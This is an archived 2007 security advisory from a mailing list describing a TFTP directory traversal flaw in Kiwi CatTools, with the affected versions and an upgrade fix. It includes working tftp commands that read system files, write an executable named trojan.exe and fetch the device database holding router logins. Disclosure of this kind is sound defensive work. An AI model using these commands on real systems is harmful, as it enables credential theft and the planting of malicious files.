

[NT] Kiwi CatTools TFTP Directory Traversal

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2007-02/msg00028.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 11 Feb 2007 19:06:33 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Kiwi CatTools TFTP Directory Traversal

SUMMARY

" <<http://www.kiwisyslog.com/cattools-info.php>> Kiwi CatTools is a freeware application that provides automated device configuration management on routers, switches and firewalls." A built-in TFTP server exists and a "encrypted device database" contains IP addresses, logins and passwords for each configured device.

Kiwi CatTools vulnerable to directory traversal vulnerability.

DETAILS

Vulnerable Systems:

* Kiwi CatTools prior to version 3.2.0 beta

TFTP directory traversal:

```
tftp -i 10.11.12.13 GET a//..//..//..//..//boot.ini  
tftp -i 10.11.12.13 PUT foo.exe a//..//trojan.exe
```

Note : the device database is only protected by a reversible encoding and can be remotely accessed with "GET a//..//..//kiwidb-cattools.kdb".

[NT] Kiwi CatTools TFTP Directory Traversal

Fix:

Upgrade to version 3.2.0 beta or newer.

Disclosure Timeline:

Release Date : 8 February 2007

ADDITIONAL INFORMATION

The information has been provided by <<mailto:nicob@xxxxxxxx>> Nicob.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.